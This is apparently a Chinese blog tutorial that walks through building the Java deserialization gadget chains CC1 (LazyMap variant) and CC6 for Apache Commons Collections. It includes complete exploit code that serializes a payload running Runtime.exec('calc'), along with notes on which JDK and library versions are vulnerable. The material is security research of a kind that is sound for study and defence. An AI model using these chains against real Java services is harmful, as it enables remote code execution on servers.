(LazyMap)CC1链
原版的CC1链:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
可以发现对比之前的 TransformMap版本的CC1链,从这里开始就不一样了
分析LazyMap.get()
直接进入到LazyMap类去分析get方法
可以发现transfor方法和之前的 InvokerTransformer类中的transfor方法很是相似
java中父类可以调用子类的方法
这个时候追踪这个 factory 方法的来源
这里是可控的,就不细说了,类似TransformedMapCC1链的方法
编写Exp代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1LazyMap {public static void main(String[] args) throws Exception{Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, invokerTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Method get = lazyMapClass.getMethod("get", Object.class);get.invoke(lazymap,r);}
}
运行之后可以看见命令执行成功,说明了这条链是可行的
利用一个叫 ChainedTransformer的方法,进行简写刚刚的反射代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1LazyMap {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Method get = lazyMapClass.getMethod("get", Object.class);get.invoke(lazymap,chainedTransformer);}
}
向上寻找readObject入口类
我们知道LazyMap使用的是get方法,然后我们在AnnotationInvocationHandler类中找到了get方法的使用,其中get方法还是在invoke方法里
构造exp代码,我们可以控制 memberValues.get(member) 中的memberValues变量
这个类还继承了InvocationHandler接口类,它是代理实例的调用处理程序实现的接口
这意味着我们可以通过动态代理调用invoke方法
- ClassLoader loader 类的加载器
- Class<?>[] interfaces 是一个数组,用于指定动态代理对象要实现的接口
- InvocationHandler h 处理动态代理对象方法调用的处理器
代理的对象且实例化代码
InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);
最终exp代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;public class CC1LazyMap {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;
// Method get = lazyMapClass.getMethod("get", Object.class);
// get.invoke(lazymap,chainedTransformer);Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true);//转InvocationHandler类型是为了能够调用处理程序实现的接口InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
成功命令执行
总结
低版本可以使用,如8u65,高版本jdk8u71就不能利用了。通过动态代理利用invoke方法,实现可控方法。
CC6链分析
官方的CC6链Payload:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java
对比CC1链就是这里不同
\
xxx.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()Runtime.exec()
TiedMapEntry
我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现
getValue
可以发现TiedMapEntry的构造方法
再找到这个类的getValue方法,这个方法会调用map.get(key)方法。也就是说我们可以将构造好的lazymap的恶意内容放入到这里
exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);tiedMapEntry.getValue();}
}
可以看见命令执行成功
代码理解,看图
这里需要应该key,那么随便给一个,这里给了一个null空值。
hashCode
在这里可以发现,hashcode()方法调用了getValue()的方法
在 Java 反序列化当中,看见了 hashCode()后基本用这一条:
hashMap.put(Object key,Object value);
我们将 tiedMapEntry变量带入到 key中,然后value随便给
exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);}
}
运行代码之后可以看见命令执行
put自动执行了hashCode,相当于调用了getValue方法
反序列化构造payload
序列化与反序列化代码:
public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
我们知道在序列化执行命令执行是错误的,目标是为了服务器在反序列化对象的时候才能够命令执行。所以我们需要在序列化之前修改代码让它不执行命令,再反序列化的时候能够命令执行。
利用反射修改LazyMap类中的factory字段
protected final Transformer factory;
- Transformer 是一个接口或类的类型,表示这个字段的类型是 Transformer。
- factory 字段名
在执行命令之前,修改这行代码,让它不能命令执行
Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
后面操作LazayMap的class,进行反射操作factory字段名
Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);
类的类型为lazymap,字段名为chainedTransformer
从而构造exp为以下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialize(hashMap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
但是还不能执行命令
让map类型中的key为false
来到LazyMap 的 get 方法中,可以看见如果key为false,就会调用这个 factory.transform()方法
所以我们要删除map类型里面的key值内容,让它为false。
在xx.put()下添加这行代码:
hashMap.remove(null);
最终exp
从而构造最终exp代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);hashMap.remove(null);//也可以修改为lazymap,null改为任意字符都可以Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);//serialize(hashMap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
序列化代码后,只进行反序列化ser.bin文件,可以看见命令执行成功
总结
总的流程应该是:CC1+URLDNS(异曲同工)
这条CC6链的好处是JDK版本不受限制,但是仅限于 是commons-collections 3.2.1的版本或低于它的版本。